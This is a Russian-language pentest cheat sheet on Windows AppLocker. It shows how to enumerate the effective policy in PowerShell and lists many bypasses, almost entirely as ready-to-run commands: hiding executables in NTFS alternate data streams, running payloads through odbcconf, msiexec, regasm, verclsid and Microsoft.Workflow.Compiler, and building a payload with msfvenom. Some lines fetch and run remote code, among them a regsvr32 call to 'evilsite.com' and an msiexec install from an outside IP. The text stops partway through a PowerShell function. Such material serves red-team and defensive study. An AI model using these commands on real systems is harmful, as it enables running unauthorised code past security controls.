Applocker - функция управления приложениями и политиками по запуску программного обеспечения в Windows.

Позволяет управлять:

  • Исполняемые файлы
    • EXE
    • COM
  • Скрипты
    • JS
    • PS1
    • VBS
    • CMD
    • BAT
  • Установочные файлы
    • MST
    • MSI
    • MSP
  • Библиотеки
    • DLL
    • OCX
  • Упакованные приложения
    • APPX

Общее

Получение политики (все юзеры)

Get-ApplockerPolicy -effective

Получение политики (все группы текущего пользователя)

$a = Get-ApplockerPolicy -effective

$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value
$g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups)

Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){
$f = 0;
$v = $y.UserOrGroupSid.value; 
Foreach ($z in $g){
if (($z.Value -eq $u) -or ($z.Value -eq $v)){
$f= 1;
};
};
  if ($f -eq 1){
Write-Output $y.PathConditions;
Write-Output $y.Action;
}
}}

Однострочник 

$a = Get-ApplockerPolicy -effective;$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value; $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups);Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){$f = 0;$v = $y.UserOrGroupSid.value; Foreach ($z in $g){if (($z.Value -eq $u) -or ($z.Value -eq $v)){$f= 1;};};if ($f -eq 1){Write-Output $y.PathConditions;Write-Output $y.Action;};};};

Обход AppLocker

Альтернативный канал

Например, если политика разрешат запуск из C:\logs то следующей командой мы можем сохранить файл в альтернативный канал и запустить его:


Варианты записи в альтернативный канал: 

type test.exe > C:\logs:test.exe
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct   ^scrobj.dll > fakefile.doc:reg32.bat
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab


Запуск созданного .exe: 

# type test.exe > C:\logs:test.exe
wmic process call create '"C:\logs:test.exe"'


Можно попробовать воспользоваться записью в альтернативный канал следующих файлов: 

C:\Windows\System32\AppLocker\AppCache.dat
C:\Windows\System32\AppLocker\AppCache.dat.LOG1
C:\Windows\System32\AppLocker\AppCache.dat.LOG2

Запуск DLL: 

odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}

Запуск RSP -> DLL

Тот же исходный код DLL, помещенный в ту же директорию, где будет расположен payload.rsp: 

REGSVR odbcconf.dll

Запуск RSP-файла (DLL в той же директории): 

odbcconf.exe /F payload.rsp

msiexec

Создание msi: 

msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi

Запуск MSI: 

msiexec /z C:\Tools\Dll1.dll
msiexec /quiet /i cmd.msi
msiexec /q /i http://192.168.100.3/tmp/cmd.png

Запуск DLL (код схож с Regsvr32): 

# Вызывает DLLRegisterServer (для удаления библиотеки из системы)
msiexec /z C:\Tools\Dll1.dll

# Вызывает DLLRegisterServer (для добавления библиотеки в систему)
msiexec /y C:\Tools\Dll1.dll

verclsid.exe

Пример запуска: 

verclsid /S /C {00000001-0000-0000-0000-0000FEEDACDC}

SID - CLASS ID файла, уникальный идентификатор COM-обьекта.

Компиляция: 

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs


  • Опция /U запускает класс UnRegisterClass.
  • Отсутствие опции /U запускает класс RegisterClass (или UnRegisterClass если нет прав).


Запуск: 

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll

Интерпретаторы

  • python
  • perl
  • java

И так далее

Макросы ворда

Макросы ворда VBS позволяют тоже обойти AppLocker и запустить произвольный код.

Небезопасные политики

Требуется посмотреть список директорий, откуда можно запускать файлы, и проверить какие из директорий/файлов доступны для записи.

Microsoft.Workflow.Compiler.exe соберет XML-проет и запустит его: 

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml

function New-CompilerInputXml {
<#
.SYNOPSIS
Creates a an XML file consisting of a serialized CompilerInput object.
.DESCRIPTION
New-CompilerInputXml creates an XML file consisting of compiler options. This file is required as the first argument for Microsoft.Workflow.Compiler.exe.
.PARAMETER XOMLPath
Specifies the path to the target XOML file. This can be a relative or absolute path. This path will be included in the resulting XML file that New-CompilerInputXml outputs.
.PARAMETER OutputPath
Specifies the path to which New-CompilerInputXml will save the serialized CompilerInput object.
.EXAMPLE
New-CompilerInputXml -XOMLPath C:\Test\foo.xoml -OutputPath test.xml
Outputs a serialized CompilerInput object to test.xml and specifies a full path to a XOML assembly reference.
.EXAMPLE
New-CompilerInputXml -XOMLPath foo.xoml -OutputPath test.txt
Outputs a serialized CompilerInput object to test.txt and specifies a XOML assembly reference using a relative path. Note that Microsoft.Workflow.Compiler.exe doesn't care about the extension supplied in the first argument.
.OUTPUTS
System.IO.FileInfo
Outputs a FileInfo object to serve as confirmation that the resulting serialized XML wil was created.
